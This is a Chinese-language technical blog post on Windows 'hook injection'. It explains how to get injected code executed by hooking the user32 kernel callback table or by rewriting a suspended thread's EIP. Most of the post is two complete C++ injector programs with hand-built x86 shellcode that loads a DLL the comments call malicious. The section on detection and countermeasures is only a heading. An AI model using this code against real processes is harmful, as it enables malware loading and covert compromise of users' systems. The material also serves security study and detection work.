代码注入之Hook注入

代码注入的核心包含两大关键环节:一是将代码载入目标进程 ;二是为载入的代码获取执行时机 。不同代码注入方式的本质差异,正体现在这两个环节的实现策略上。本文介绍的Hook注入,重点关注** "获取执行时机"** 这一环节,通过 hook 手段达成目标;而对于 "载入代码到目标进程" 这一环节,是使用Windows提供的WriteProcessMemory类API将代码和数据写到目标进程,不需要多做解释。

Hook对象

Hook 对象可以是 IAT(导入地址表)、代码段、内核回调表、EIP/RIP(指令指针寄存器) 等。

  • Hook IAT或代码:仅当函数被调用或代码被执行时触发Hook代码,执行时机依赖程序逻辑,可控性较低。
  • Hook内核回调表:user32的内核回调表包含窗口消息处理的相关函数,在窗口进程中调用频率极高,选择高频回调函数可快速获取执行时机。
  • Hook EIP/RIP:直接修改线程指令指针寄存器(EIP/RIP),使其指向写入的代码,执行时机确定性最高,线程恢复执行后能立即触发代码执行。

Hook IAT或代码 比较常见,下面主要介绍Hook内核回调表Hook EIP/RIP这两种注入方式。

hook内核回调表

代码注入之消息钩子注入中就提到了内核回调表,消息钩子是通过内核回调表中的__ClientLoadLibrary函数加载dll,以及__fnHk*函数执行钩子函数。内核回调表中还包含了与窗口消息处理相关的其他函数,而窗口进程中消息处理的频率非常高,所以可以通过Hook这些函数,来快速获得执行时机。

  1. 回调函数选择

Hook操作类似于Inline Hook,先保存寄存器环境,然后执行其他逻辑(比如加载dll),最后恢复寄存器环境,跳向原函数地址继续原始的代码逻辑,所以不需要关心目标函数的功能,我们只是用它来获取执行时机。

选择时,可在调试工具中对回调函数下断点,看看哪个函数断点最快被触发;或者通过调试器脚本,记录一段时间内回调函数的执行次数,筛选出高频函数。

  1. Hook实现方案
  • 直接Hook:直接修改user32中内核回调表中的目标函数的指针,指向注入的代码。
  • Hook备份表:拷贝一份user32的内核回调表,修改备份表中的对应函数,然后修改PEB中内核回调表指针指向备份表。
  1. 示例代码

以直接Hook user32中的 __fnDWORD 函数为例,在Hook代码中去加载恶意dll,注入过程的关键代码为:

C++ 复制代码
int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 3. 准备shellcode
    LoadLibraryA("user32.dll");
    PEB* peb = (PEB*)__readfsdword(0x30);
    PVOID* table = (PVOID*)peb->u3.KernelCallbackTable;
    const uint32_t kIndexOffnDWORD = 2;
    PVOID fnDWORDAddr = table[kIndexOffnDWORD];
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original __fnDWORD
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C); // 系统dll在不同进程中的加载地址一样,所以可以直接使用本进程中的地址计算偏移
    *(uint32_t*)(shellcode + 0x0F) = (uint32_t)fnDWORDAddr - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 4. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 5. 修改 KernelCallbackTable 的属性,以便修改
    DWORD oldProtect = 0;
    VirtualProtectEx(hProcess, &table[kIndexOffnDWORD], sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 6. 修改 KernelCallbackTable 中的 __fnDWORD,指向shellcode,完成hook
    WriteProcessMemory(hProcess, &table[kIndexOffnDWORD], &addr, sizeof(addr), nullptr);

    CloseHandle(hProcess);
    return 0;
}

查看视频演示

Hook EIP/RIP

线程的下一条指令地址存储在EIP(32位)/RIP(64位)寄存器中,通过修改该寄存器值,使其指向注入的shellcode,可直接获取执行时机。线程的当前上下文信息中包含了 EIP/RIP 寄存器的值,所以可以通过 GetThreadContextSetThreadContext 获取和设置EIP/RIP,注意在此之前需要先暂停线程。

关键代码如下:

C++ 复制代码
HANDLE getFirstThread(uint32_t pid) {
    // 找到目标进程中的线程
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hThreadSnapshot, &te32)
    do {
        if (te32.th32OwnerProcessID == pid) {
            break;
        }
    } while (Thread32Next(hThreadSnapshot, &te32));
    CloseHandle(hThreadSnapshot);

    // 获取目标线程的句柄
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
    return hThread;
}

int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 暂停目标进程中的某个线程,获取线程EIP
    HANDLE hThread = getFirstThread(targetPid);
    SuspendThread(hThread);

    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &context);

    // 3. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 4. 准备shellcode
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original EIP
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C);
    *(uint32_t*)(shellcode + 0x0F) = context.Eip - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 5. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 6. 修改EIP为shellcode,并恢复线程
    context.Eip = reinterpret_cast<uint32_t>(addr);
    SetThreadContext(hThread, &context);
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

查看视频演示

检测与对抗

相关推荐
2503_908249381 小时前
【无标题】
安全
秋说3 小时前
【区块链安全 | 第二篇】区块链概念详解
安全·架构·区块链
神马行空6 小时前
一文解读DeepSeek的安全风险、挑战与应对策略
网络·人工智能·安全·大模型·deepseek
GCKJ_08247 小时前
观成科技:海莲花利用MST投递远控木马
网络·安全·web安全
秋说8 小时前
【区块链安全 | 第三篇】主流公链以太坊运行机制
安全·区块链
火绒终端安全管理系统9 小时前
游戏MOD伴随盗号风险,仿冒网站借“风灵月影”窃密【火绒企业版V2.0】
网络·安全·游戏·网络安全·火绒安全
江沉晚呤时10 小时前
深入解析代理模式(Proxy Pattern):设计与应用
安全·c#·系统安全·.netcore